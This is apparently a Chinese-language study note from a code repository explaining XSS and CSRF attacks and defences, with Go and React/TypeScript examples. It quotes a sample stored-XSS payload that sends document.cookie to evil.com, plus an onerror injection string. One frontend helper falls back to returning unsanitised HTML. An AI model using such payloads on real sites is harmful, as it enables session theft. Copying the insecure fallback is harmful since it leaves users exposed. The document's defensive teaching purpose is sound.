This repository has been archived on 2026-05-24. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
all-in-kingsoft/hhs/DEV/XSS与CSRF攻击/XSS与CSRF攻击.md
T
2026-05-19 15:17:50 +08:00

28 KiB
Raw Blame History

tags, create time
tags create time
XSS
CSRF
Web Security
OWASP
CSP
Security Header
Content-Security-Policy
Cross-Site Request Forgery
2026-05-18 10:30

XSS 与 CSRF 攻击

概述

本文档系统梳理 Web 应用中最常见的两种客户端侧安全威胁——跨站脚本攻击(XSS)与跨站请求伪造(CSRF)。从攻击原理、分类场景到防御策略,结合 Go 后端和 React/TypeScript 前端的完整代码示例,帮助你在设计阶段就「把安全做进去」而非事后补漏。

[!question] 思考题 XSS 让你失去的是用户的数据控制权,CSRF 让你失去的是用户的身份冒用权。一个攻击注入恶意脚本,另一个则是伪装成合法请求。看似都与"前端"有关——它们根本区别在哪里?带着这个问题开始阅读。


一、XSS(跨站脚本攻击)

1.1 什么是 XSS?

XSS(Cross-Site Scripting)的本质是:攻击者在目标网站中注入恶意 JavaScript 代码,当其他用户浏览该页面时,代码在其浏览器上下文中执行。由于 JavaScript 在原始页面的同源策略下运行,它可以直接读取 Cookie、DOM、甚至以受害者身份发起 API 请求。

graph LR
    A["攻击者注入<br/>恶意脚本"] --> B["服务端存储<br/>或反射回页面"]
    B --> C["受害者浏览器<br/>解析并执行"]
    C --> D["Cookie 被盗<br/>会话劫持 / 行为篡改"]
    style A fill:#ffebee
    style D fill:#b71c1c,color:#fff

[!warning] 为什么叫 XSS 而不是 XS S? 为了避免与 Cascading Style Sheets(CSS)混淆,业界统一简写为 XSS(Cross-Site Scripting)。

1.2 XSS 三大类型

类型 注入方式 持久性 危险等级
Stored(存储型) 提交到数据库(评论、个人资料),所有访问者受害 ★★★★★ 持久 🔴 极高
Reflected(反射型) URL 参数嵌入返回页面,需诱导点击 ★★★☆ 单次 🟠 高
DOM-based(基于 DOM) 纯前端 JS 将不可信数据写入 DOM ★★★☆ 无服务器痕迹 🟡 中

1.2.1 Stored XSS — 最致命

攻击者将恶意脚本存入数据库,每个访问该页面的用户都会中招。经典案例:留言板注入 <script>fetch('https://evil.com/log?cookie='+document.cookie)</script>。

// ❌ 危险的做法 — 存储了原始内容,但渲染时用 text/template 或 Response.Write 直出
func SaveComment(db *sql.DB, userID int, content string) error {
    _, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
    return err
}
// ⚠️ 注意:存数据的代码本身已是安全的(参数化查询防 SQL 注入)
// 危险在于后续渲染时没有做 HTML 转义 → Stored XSS

// ✅ 正确做法 — 存储不变,渲染时通过 html/template 自动编码输出
func SaveCommentSafely(db *sql.DB, userID int, content string) error {
    // 纯文本场景:直接存原始内容
    // 渲染用 {{.Content}} (html/template 自动转义 < > & " ')
    _, err := db.Exec("INSERT INTO comments (user_id, content) VALUES (?, ?)", userID, content)
    return err
}

1.2.2 Reflected XSS — 钓鱼利器

攻击者构造恶意链接,诱骗受害者点击。恶意脚本随 URL 参数被服务端读取后反射回 HTML 响应中。

graph LR
    normal["正常链接: /search?q=hello"] --> |"安全参数"| browser["浏览器安全渲染"]
    evil["恶意链接: q=inject_script()"] --> |"服务端原样返回"| exec["浏览器执行脚本 → XSS"]

    style normal fill:#e8f5e9
    style browser fill:#e8f5e9
    style evil fill:#ffebee
    style exec fill:#b71c1c,color:#fff
// ❌ React 中 dangerouslySetInnerHTML 使用不当可导致 Reflect XSS
function SearchResults({ query }: { query: string }) {
  return (
    <div dangerouslySetInnerHTML={{ __html: `结果包含: ${query}` }} />
  );
}

// ✅ 正确做法 — 让 React 自动处理转义
function SearchResultsSafe({ query }: { query: string }) {
  return <div>结果包含: {query}</div>;  // React 自动 escape HTML entities
}

[!note] React 的安全模型 React 默认对所有 JSX 表达式进行 HTML entity 转义(&lt;、&gt;、&amp;)。只有在显式使用 dangerouslySetInnerHTML 时才绕过防护——这是反射型 XSS 最常见的泄漏点。

1.2.3 DOM-based XSS — 纯前端陷阱

攻击不涉及服务端,而是前端 JavaScript 将不可信数据写入 DOM。因为服务端日志看不到恶意 payload,这种类型更难排查。

// ❌ DOM-based XSS — 将 hash 直接写入页面
function renderFromHash() {
  const hash = window.location.hash.slice(1);  // #<img src=x onerror=alert(1)>
  document.getElementById("output").innerHTML = decodeURIComponent(hash);
}

// ✅ 正确做法 — 使用 textContent 而非 innerHTML
function renderFromHashSafe() {
  const hash = window.location.hash.slice(1);
  document.getElementById("output").textContent = decodeURIComponent(hash);
}
DOM 写入方法 安全性 说明
element.textContent ✅ 安全 纯文本,不会解析 HTML
element.innerText ✅ 安全 同 textContent
element.innerHTML ⚠️ 危险 解析 HTML 标签,可能执行脚本
element.outerHTML ⚠️ 危险 同上
element.insertAdjacentHTML() ⚠️ 危险 同上
document.write() ⚠️ 危险 直接写入文档流

1.3 CSP(Content Security Policy)深度解析

CSP 是目前防御 XSS 最有效的手段之一。它通过 HTTP 响应头告诉浏览器:哪些脚本来源是可信的,哪些操作是被禁止的。

HTTP Response Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none'; base-uri 'self'; frame-ancestors 'none'
graph TD
    A[浏览器加载页面] --> B{遇到 script 标签}
    B -->|"src='self'"| C["✅ 允许执行"]
    B -->|"src='https://evil.com/hack.js'"| D["❌ 被 CSP 拦截"]
    B -->|"inline script no nonce"| E["❌ 被 CSP 拦截"]
    B -->|"src=https://cdn.trusted.com"| F["✅ 白名单匹配,允许"]
    D --> G["console 报错 + 阻止执行"]
    E --> G

    style C fill:#e8f5e9
    style D fill:#ffebee,color:#333
    style E fill:#ffebee,color:#333
    style F fill:#e8f5e9
    style G fill:#fff3e0

CSP 关键指令速查

指令 作用 推荐值
default-src 兜底策略(所有资源类型) 'self'
script-src 允许的脚本来源 'self' + 必要 CDN
style-src 允许的样式来源 'self' 'unsafe-inline'(部分框架需要 inline style)
img-src 允许的图片来源 'self' data: cdn.xxx
font-src 字体来源 'self' fonts.gstatic.com
connect-src AJAX/WebSocket/fetch 目标 'self' api.example.com
frame-ancestors 允许嵌入本页面的来源 'none'(防 clickjacking)
object-src <object>, <embed> 'none'(已废弃但建议声明)
base-uri <base> 标签的 allowed origin 'self'
form-action <form> 可提交的 target 'self'

Nonce-based CSP 方案

对于必须使用 inline script 的场景(如 SSR 框架、内联事件处理器),Nonce 是标准方案:

package security

import (
	"crypto/rand"
	"encoding/base64"
	"net/http"
)

// CSPMiddleware 自动生成随机 nonce 并注入 CSP header
func CSPMiddleware(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		// 每次请求生成 32 字节随机 nonce
		b := make([]byte, 32)
		rand.Read(b)
		nonce := base64.StdEncoding.EncodeToString(b)

		w.Header().Set("Content-Security-Policy",
			"default-src 'self'; "+
				"script-src 'self' 'nonce-"+nonce+"' 'strict-dynamic'; "+
				"style-src 'self' 'nonce-"+nonce+"'; "+
				"object-src 'none'; "+
				"base-uri 'self'; "+
				"frame-ancestors 'none'",
		)

		// 将 nonce 传递给模板(具体实现依赖你的模板引擎)
		r.Header.Set("X-CSP-Nonce", nonce)

		next.ServeHTTP(w, r)
	})
}
<!-- 模板中使用 nonce -->
<script nonce="RANDOM_NONCE_VALUE_HERE">
  // 此 inline script 被 CSP 放行
  app.init();
</script>

[!tip] strict-dynamic 的威力 使用 strict-dynamic 后,被 nonce 放行的脚本所动态加载的脚本也会被信任。这意味着你不再需要在 script-src 中添加大量 https:// 域名——通过入口脚本的信任链传播即可。

1.4 输入验证与输出编码

虽然 CSP 是第一道防线,但纵深防御原则要求我们同时在多个层面防护。

package validation

import (
	"net/url"
	"regexp"
	"strings"
)

// SanitizeHTML 移除所有 HTML 标签(适用于纯文本输入场景)
func SanitizeHTML(input string) string {
	return regexp.MustCompile(`<[^>]*>`).ReplaceAllString(input, "")
}

// ValidateURL 校验 URL 格式,防止 protocol-relative XSS
func ValidateURL(rawURL string) bool {
	parsed, err := url.Parse(rawURL)
	if err != nil {
		return false
	}
	// 只允许 http 和 https 协议,拒绝 javascript: 和 data: 伪协议
	validSchemes := map[string]bool{"http": true, "https": true}
	return validSchemes[parsed.Scheme] && len(parsed.Host) > 0
}

// TruncateHTML 在 HTML 内部截断字符串(防 buffer overflow 型 XSS)
func TruncateHTML(htmlStr string, maxLen int) string {
	cleaned := SanitizeHTML(htmlStr)
	if len(cleaned) <= maxLen {
		return cleaned
	}
	// 避免在标签中间截断
	for i := maxLen; i > maxLen-50 && i >= 0; i-- {
		if cleaned[i] == ' ' || cleaned[i] == '>' {
			return cleaned[:i]
		}
	}
	return cleaned[:maxLen]
}

[!example] 为什么输入验证不能替代输出编码?

  • 输入验证假设你能穷举所有合法输入——但实际中字段经常复用(昵称既能输文字也能输 URL)
  • 输出编码确保无论数据来源何处,在渲染时都被正确转义
  • 最佳实践:验证输入格式 + 编码输出内容两层齐发

1.5 前端防护清单

// ✅ React 安全编程守则

// 1. 永远不要直接使用 dangerouslySetInnerHTML
// 如果必须有富文本需求,使用成熟的 sanitizer 库
import DOMPurify from 'dompurify';

function RichText({ content }: { content: string }) {
  const cleanHTML = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href', 'target'],
  });
  return <div dangerouslySetInnerHTML={{ __html: cleanHTML }} />;
}

// 2. 对外部重定向做白名单校验
const TRUSTED_DOMAINS = ['example.com', 'app.example.com'];

function SafeRedirect(url: string) {
  try {
    const parsed = new URL(url, window.location.origin);
    if (!TRUSTED_DOMAINS.includes(parsed.hostname)) {
      throw new Error('Untrusted redirect destination');
    }
    window.location.href = url;
  } catch {
    // 忽略无效 URL
  }
}

// 3. 避免 eval() 和 Function() 构造函数
// 两者都能执行任意代码,且绕过 CSP nonce 机制

二、CSRF(跨站请求伪造)

2.1 什么是 CSRF?

CSRF(Cross-Site Request Forgery)的本质是:攻击者诱导已登录的用户浏览器,向目标网站发送未经用户授权的请求。关键在于——浏览器会自动携带该域下的 Cookie,服务器无法区分请求是用户自愿发出的还是被伪造的。

[!quote] 核心洞察 CSRF 利用的不是技术漏洞,而是浏览器的一个"善意特性":Cookie 会自动附带在同源请求中。攻击者不需要窃取 Cookie,只需要控制请求的目的地和内容。

sequenceDiagram
    participant U as 用户浏览器(已登录 bank.com)
    participant A as 攻击站点
    participant B as 银行 server (bank.com)

    Note over U,B: 场景:用户在银行网站保持登录状态

    A->>U: 1. 用户访问恶意页面<br/>伪造 GET /transfer?to=hacker&amt=10000
    Note over U: 浏览器自动带上 bank.com 的 Cookie
    U->>B: 2. GET /transfer?to=hacker&amt=10000<br/>Cookie: sessionid=abc123...
    B->>B: 3. 校验 Session ✓ → 执行转账
    B->>U: 4. 返回成功
    Note over A,U: 用户毫无感知,钱已被转走

[!question] 既然浏览器有同源策略(Same-Origin Policy),为什么攻击者能跨站发请求? 答案是:并非所有 HTML 元素都受 SOP 保护。<img>、<iframe>、<form method="POST"> 都可以跨域发起请求——它们属于"非 read-only 资源",浏览器出于历史原因一直允许这些行为以确保网页兼容性。

2.2 CSRF vs XSS:容易被混淆的区别

graph LR
    subgraph XSS["XSS — 跨站脚本"]
        direction TB
        A1["注入: 恶意脚本"]
        A2["目标: 用户浏览器"]
        A3["窃取: Cookie / 数据 / DOM"]
        A4["本质: 代码执行"]
        A5["防御: CSP + 输出编码"]
    end

    subgraph CSRF["CSRF — 跨站请求伪造"]
        direction TB
        B1["注入: 伪造的请求"]
        B2["目标: 服务端"]
        B3["利用: 已认证用户的 Cookie"]
        B4["本质: 身份冒用"]
        B5["防御: SameSite + CSRF Token"]
    end

    style XSS fill:#fff3e0
    style CSRF fill:#e3f2fd
    style A5 fill:#c8e6c9
    style B5 fill:#c8e6c9
维度 XSS CSRF
攻击媒介 JavaScript 代码 HTTP 请求(表单/图片等)
攻击目标 用户浏览器 目标网站的服务器
是否需要 Cookie 是(用于窃取或冒充) 是(浏览器自动携带)
破坏力 全面接管用户会话 仅限登录态下的操作
是否依赖登录 否(只要页面渲染就行) 是(用户必须先登录目标站)
防御重心 内容层(CSP、编码) 请求层(Token、Header 校验)

2.3 CSRF 防御三大利器

// Go 设置 SameSite Cookie
http.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    sessionValue,
    Path:     "/",
    HttpOnly: true,     // 防 XSS 读取
    Secure:   true,     // 仅 HTTPS
    SameSite: http.SameSiteStrictMode, // 👈 关键:防止跨站发送 Cookie
})
SameSite 值 行为 适用场景
Strict 所有跨站请求不发送 Cookie 大多数单页应用
Lax GET 跨站可发送(点击链接),POST 跨站不发送 兼顾 UX 与安全(Chrome 默认)
None 任何情况都发送 必须与 Secure=true 配合

[!tip] Chrome 的演进 自 Chrome 80 (2020) 起,SameSite 默认值为 Lax。这是一个重大变化——以前很多没有 CSRF 防护的应用反而获得了隐性保护。

第二层:CSRF Token(传统但可靠)

核心思路:在每个表单和 AJAX 请求中携带一个服务端生成的随机 token,服务端校验合法性。

sequenceDiagram
    participant FE as 前端应用
    participant SRV as 后端服务器
    participant Attacker as 攻击者

    Note over FE,SRV: 正常流程

    FE->>SRV: GET /page (页面加载)
    SRV->>SRV: 生成 csrf_token = random(256bit)
    SRV->>FE: 返回 HTML + hidden input 字段(name="_csrf", value="token_xxx")
    FE->>FE: Token 存入内存(或 cookie)

    FE->>SRV: POST /transfer _csrf=token_xxx
    SRV->>SRV: 比对 token ✓
    SRV->>FE: 200 OK

    Note over Attacker: 攻击者页面试图伪造请求<br/>但没有 csrf_token

    Attacker->>SRV: POST /transfer (无 token)
    SRV->>SRV: 比对失败 ✗
    SRV->>Attacker: 403 Forbidden
package csrf

import (
	"crypto/rand"
	"crypto/subtle"
	"encoding/base64"
	"net/http"
	"sync"
)

type CSRFHandler struct {
	tokens sync.Map // userSessionID -> token
}

func NewCSRFHandler() *CSRFHandler {
	return &CSRFHandler{}
}

func generateToken() string {
	b := make([]byte, 32)
	rand.Read(b)
	return base64.StdEncoding.EncodeToString(b)
}

// GetCSRFToken 为当前会话获取/创建 CSRF token
func (h *CSRFHandler) GetCSRFToken(sessionID string) string {
	token, ok := h.tokens.Load(sessionID)
	if !ok {
		token = generateToken()
		h.tokens.Store(sessionID, token)
	}
	return token.(string)
}

// Validate 校验请求中的 CSRF token
func (h *CSRFHandler) Validate(r *http.Request, sessionID string) bool {
	var requestToken string

	// 优先从 body/form 读取
	requestToken = r.FormValue("_csrf")
	if requestToken == "" {
		// 其次从自定义 Header 读取(AJAX/XHR 常用)
		requestToken = r.Header.Get("X-CSRF-Token")
	}
	if requestToken == "" {
		return false
	}

	storedToken, ok := h.tokens.Load(sessionID)
	if !ok {
		return false
	}

	return hmacCompare(requestToken, storedToken.(string))
}

// constant-time comparison, 防 timing attack
func hmacCompare(a, b string) bool {
	return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// 前端:React 中自动注入 CSRF Token
const CSRFInterceptor = (service: AxiosInstance) => {
  // 从隐藏字段或 Cookie 读取 token
  function getCSRFToken(): string {
    const meta = document.querySelector<HTMLInputElement>('meta[name="csrf-token"]');
    if (meta?.content) return meta.content;

    // fallback: 从 cookie 读取
    const match = document.cookie.match(/_csrf=([^;]+)/);
    return match?.[1] ?? '';
  }

  service.interceptors.request.use((config) => {
    if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(config.method?.toUpperCase() ?? '')) {
      config.headers['X-CSRF-Token'] = getCSRFToken();
    }
    return config;
  });
};

// 在 axios 实例初始化时使用
CSRFInterceptor(axiosInstance);

第三层:Custom Header + 双重检查(现代 SPA 方案)

对于前后端完全分离的架构,推荐同时使用 SameSite Cookie 和 X-CSRF-Token Header:

// Middleware: 对非安全方法做双重校验
func CSRFProtection(h *CSRFHandler) func(http.Handler) http.Handler {
	return func(next http.Handler) http.Handler {
		return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
			// GET/HEAD/OPTIONS 不需要校验(幂等操作)
			if isSafeMethod(r.Method) {
				next.ServeHTTP(w, r)
				return
			}

			sessionID, _ := getSessionID(r) // 从 Cookie 中提取

			if !h.Validate(r, sessionID) {
				http.Error(w, "CSRF token invalid", http.StatusForbidden)
				return
			}
			next.ServeHTTP(w, r)
		})
	}
}

func isSafeMethod(method string) bool {
	return method == "GET" || method == "HEAD" || method == "OPTIONS"
}

[!tip] 为什么 Custom Header 能防 CSRF? 浏览器的 SOP 对 headers 也有保护:跨站的 JavaScript 无法设置自定义 Header(只有 Accept、Content-Type 等简单头部可以)。所以当攻击者用 <form> 或 <img> 伪造请求时,X-CSRF-Token 头部不会被携带——而浏览器也不会自动添加它。这就是同源策略在 header 层面的天然保护。

2.4 特殊场景:JSON API 与 CSRF

JSON API 本身天然免疫部分 CSRF 攻击,因为浏览器的 SOP 会阻止跨域的 application/json 跨站读取响应。但仍需注意——虽然无法读取响应,但请求仍然会被发出。对于修改类操作(POST/PUT/DELETE),仍建议加防护。

[!question] 思考题 跨站 <img> 标签可以发起 GET 请求但看不到响应——那 PUT 或 POST 呢?<form method="POST"> 和 XHR 有什么区别?

// SPA 典型认证模式对比

// ❌ Cookie 认证 — 浏览器自动携带 Cookie → 需要 CSRF Token
// 即使 Content-Type 是 application/json,攻击者用 <form> 仍可发送
const res = await fetch('/api/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'hacker', amount: 10000 }),
}); // 带 Cookie → 服务端需校验 CSRF Token

// ✅ Bearer Token 认证 — 必须手动设置 Authorization Header
// 跨站页面无法设置自定义 Header(SOP 保护)→ CSRF 天然免疫
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Authorization': 'Bearer eyJhbGc...',   // ← 跨站 JS 无法设置此 header
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({ to: 'hacker', amount: 10000 }),
});
Content-Type 能否跨站提交 是否天然防 CSRF 备注
application/json ❌ 浏览器禁止跨站设置此 header ✅ (但预检请求 OPTIONS 可暴露信息) SPA 推荐方案之一
Authorization: Bearer ❌ 自定义 Header 受 SOP 限制 ✅ 最佳实践
application/x-www-form-urlencoded ✅ HTML form 默认 ❌ 必须 CSRF Token 服务端渲染页面
multipart/form-data ✅ HTML form 支持 ❌ 必须 CSRF Token 文件上传场景

三、综合防御策略

3.1 纵深防御架构图

graph TB
    subgraph Layer1["第 1 层:请求入口"]
        A1["HTTPS 强制"]
        A2["Rate Limiting"]
        A3["CORS 策略"]
    end

    subgraph Layer2["第 2 层:身份与请求完整性"]
        B1["HttpOnly + Secure Cookie"]
        B2["SameSite=Strict/Lax"]
        B3["CSRF Token 校验"]
    end

    subgraph Layer3["第 3 层:内容与渲染"]
        C1["输入验证 / Sanitization"]
        C2["输出 HTML 编码"]
        C3["CSP Header"]
    end

    subgraph Layer4["第 4 层:运行时"]
        D1["子资源完整性 (SRI)"]
        D2["X-Frame-Options"]
        D3["X-Content-Type-Options: nosniff"]
    end

    Layer1 --> Layer2
    Layer2 --> Layer3
    Layer3 --> Layer4

    style A1 fill:#e3f2fd
    style B2 fill:#fff3e0
    style C3 fill:#e8f5e9
    style D2 fill:#fce4ec

3.2 关键 HTTP 安全响应头

# CSP — 防止 XSS 脚本注入
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxxx'; object-src 'none'; frame-ancestors 'none'

# X-Frame-Options — 防止 Clickjacking(嵌套 iframe)
X-Frame-Options: DENY
# 或更灵活的替代(与 CSP frame-ancestors 二选一即可)
Content-Security-Policy: frame-ancestors 'none'

# X-Content-Type-Options — 禁止 MIME type sniffing
X-Content-Type-Options: nosniff

# X-XSS-Protection — 老旧浏览器的 XSS filter(已废弃,但无害)
X-XSS-Protection: 0  # 设为 0 表示禁用(由 CSP 接管更好)

# Referrer-Policy — 控制 Referer 头泄露程度
Referrer-Policy: strict-origin-when-cross-origin

# Permissions-Policy — 限制浏览器功能访问
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
// Go 一次性设置所有安全头
func SecurityHeaders(next http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("X-Frame-Options", "DENY")
		w.Header().Set("X-Content-Type-Options", "nosniff")
		w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")
		w.Header().Set("Permissions-Policy", "camera=(), microphone=(), geolocation=()")

		next.ServeHTTP(w, r)
	})
}

3.3 XSS 与 CSRF 的组合攻击

现实中,XSS 和 CSRF 常组合出现——如果有 XSS 漏洞,CSRF 防御基本形同虚设:

sequenceDiagram
    participant Attacker as 攻击者
    participant Victim as 受害者(管理员)
    participant Server as 目标服务器

    Note over Attacker,Server: 组合攻击链: XSS → Cookie 窃取 → CSRF 全权控制

    Attacker->>Victim: 1. 注入含恶意脚本的可编辑字段
    Victim->>Server: 2. 浏览页面 → XSS 脚本执行
    alt 读取敏感数据
        Victim->>Victim: Cookie / localStorage 被窃取
        Victim->>Attacker: 3a. 数据发送至攻击者服务器
    else 发起 CSRF 请求
        Victim->>Server: 3b. 以管理员身份发送任意请求(已在同源上下文,CSRF Token 无效)
        Server->>Victim: 4. 操作被执行 — 完全控制
    end

    Note right of Server: 结论: 只要有 XSS,<br />CSRF 防御就会被 bypass

四、端到端实战

4.1 完整安全中间件栈(Go)

package middleware

import (
	"github.com/gin-gonic/gin"
)

// SecurityStack 将所有安全中间件打包为一个函数列表
// 推荐用法:router.Use(SecurityHeaders(), CSPMiddleware(), CSRFProtection(handler))
func SecurityStack() []gin.HandlerFunc {
	return []gin.HandlerFunc{
		SecurityHeaders(),
		CSPMiddleware(),
	}
}

// 实际注册示例
// func SetupRouter() *gin.Engine {
//     r := gin.Default()
//     csrfHandler := csrf.NewCSRFHandler()
//     for _, m := range SecurityStack() {
//         r.Use(m)
//     }
//     r.Use(CSRFProtection(csrfHandler)) // 对写操作加 CSRF 校验
//     // ...路由定义
// }

func SecurityHeaders() gin.HandlerFunc {
	return func(c *gin.Context) {
		c.Header("X-Frame-Options", "DENY")
		c.Header("X-Content-Type-Options", "nosniff")
		c.Header("Referrer-Policy", "strict-origin-when-cross-origin")
		c.Header("Permissions-Policy", "camera=(), microphone=()")

		// HSTS — 强制浏览器后续请求都用 HTTPS
		c.Header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")

		c.Next()
	}
}

4.2 前端安全模块(React + TypeScript)

// frontend/src/security.ts
export class SecurityManager {
  private static instance: SecurityManager;

  static getInstance(): SecurityManager {
    if (!SecurityManager.instance) {
      SecurityManager.instance = new SecurityManager();
    }
    return SecurityManager.instance;
  }

  /** 获取 CSRF Token */
  getCSRFToken(): string {
    const meta = document.querySelector<HTMLMetaElement>('meta[name="csrf-token"]');
    return meta?.content ?? '';
  }

  /** 安全地渲染富文本 */
  sanitizeRichText(html: string): string {
    // 使用 dompurify(需在项目中安装)
    const DOMPurify = window.DOMPurify as any; // SSR 场景可通过全局注入
    if (DOMPurify) {
      return DOMPurify.sanitize(html, {
        ADD_ATTR: ['aria-label'],
        ALLOW_DATA_ATTR: false,
      });
    }
    return html; // fallback: sanitizer 不可用时直接返回原文
  }

  /** 清理 URL 重定向目标 */
  validateRedirectUrl(url: string): boolean {
    try {
      const parsed = new URL(url);
      const trusted = new Set(['yourdomain.com', 'app.yourdomain.com']);
      return trusted.has(parsed.hostname);
    } catch {
      return false;
    }
  }
}

五、OWASP Top 10 位置与总结

在 OWASP Top 10 中,这两种攻击的定位如下:

攻击类型 OWASP Top 10 2024 分类 说明
XSS A03:2024 — Injection DOM-based XSS 虽不经过服务端,但仍属于注入范畴
CSRF 未独立列项 CSRF 模式归入 A01:2024 — Broken Access Control

[!note] 为什么 CSRF 不再单列? OWASP 认为 CSRF 本质上是访问控制失效的一种表现——服务器未能正确验证请求是否为用户自愿发出。现代浏览器默认提供的 SameSite Cookie 机制已经大幅降低了 CSRF 的威胁面。

5.1 一句话总结

XSS 的核心是「不信任何输入」 —— 在输出编码时做一次,CSP 再兜底一次;CSRF 的核心是「不信任何请求」 —— SameSite 打底,CSRF Token 二次确认。

5.2 快速对照表

quadrantChart
    title "XSS vs CSRF 对比矩阵"
    x-axis "易防护" --> "难防护"
    y-axis "高频率" --> "低频率"
    "XSS(存储型)": [0.3, 0.8]
    "XSS(反射型)": [0.5, 0.9]
    "CSRF(传统表单)": [0.2, 0.95]
    "DOM-based XSS": [0.7, 0.85]
    "CSRF(JSON API)": [0.15, 0.7]

安全最佳实践清单

[!checklist] XSS 防御 Checklist

  • 部署 CSP header(至少 default-src 'self',逐步收紧)
  • 后端输出 HTML 时做 实体编码(< → &lt;,> → &gt;," → &quot;)
  • 前端避免 dangerouslySetInnerHTML / innerHTML / eval()
  • 富文本场景使用 sanitizer 库(DOMPurify / bleach)
  • 所有用户上传的内容视为 潜在 payload
  • 设置 document.domain 谨慎(会降低同源保护)

[!checklist] CSRF 防御 Checklist

  • 所有 Cookie 设置 SameSite=Strict 或 Lax
  • 敏感操作(POST/PUT/DELETE)校验 CSRF Token
  • CSRF Token 使用 密码学安全的随机数(crypto/rand)
  • Token 比较使用 constant-time 算法
  • Session Cookie 设置 HttpOnly + Secure
  • 使用 stateless token(存入 JWT claims 而非内存)以适配分布式部署
  • 双 Submit Cookie 方案可作为轻量替代(token 同时存在 Cookie 和 Form Field 中)

关联笔记